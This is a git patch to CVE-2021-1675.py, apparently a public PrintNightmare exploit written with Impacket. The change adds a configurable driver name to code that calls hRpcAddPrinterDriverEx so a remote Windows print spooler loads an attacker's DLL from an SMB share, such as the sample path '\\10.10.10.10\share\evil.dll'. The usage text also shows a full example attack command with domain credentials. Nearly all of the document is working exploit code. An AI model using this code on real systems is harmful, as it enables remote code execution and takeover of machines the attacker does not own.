From d1b9fdd7235f4c0a6950b6707088ca4280e0330a Mon Sep 17 00:00:00 2001 From: citronneur Date: Sun, 4 Jul 2021 10:12:51 +0200 Subject: [PATCH] Add parameter for driver name --- CVE-2021-1675.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/CVE-2021-1675.py b/CVE-2021-1675.py index 78824da..edfbda1 100644 --- a/CVE-2021-1675.py +++ b/CVE-2021-1675.py @@ -66,13 +66,13 @@ def getDrivers(dce, handle=NULL): return blob -def main(dce, pDriverPath, share, handle=NULL): +def main(dce, pDriverPath, name, share, handle=NULL): #build DRIVER_CONTAINER package container_info = rprn.DRIVER_CONTAINER() container_info['Level'] = 2 container_info['DriverInfo']['tag'] = 2 container_info['DriverInfo']['Level2']['cVersion'] = 3 - container_info['DriverInfo']['Level2']['pName'] = "Stage0\x00" + container_info['DriverInfo']['Level2']['pName'] = "{0}0\x00".format(name) container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00" container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) @@ -85,7 +85,7 @@ def main(dce, pDriverPath, share, handle=NULL): print("[*] Stage0: {0}".format(resp['ErrorCode'])) # Just ask for a new driver with already installed files - container_info['DriverInfo']['Level2']['pName'] = "Stage1\x00" + container_info['DriverInfo']['Level2']['pName'] = "{0}1\x00".format(name) container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\{0}\x00".format(filename) flags = rprn.APD_COPY_NEW_FILES | 0x10 | 0x8000 resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) @@ -102,6 +102,7 @@ Example; ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' """) parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('name', action='store', help='name of driver [need to be unique on target]') parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'') parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?") group = parser.add_argument_group('authentication') @@ -167,4 +168,4 @@ Example; print("[+] pDriverPath Found {0}".format(pDriverPath)) print("[*] Executing {0}".format(options.share)) - main(dce, pDriverPath, options.share) + main(dce, pDriverPath, options.name, options.share)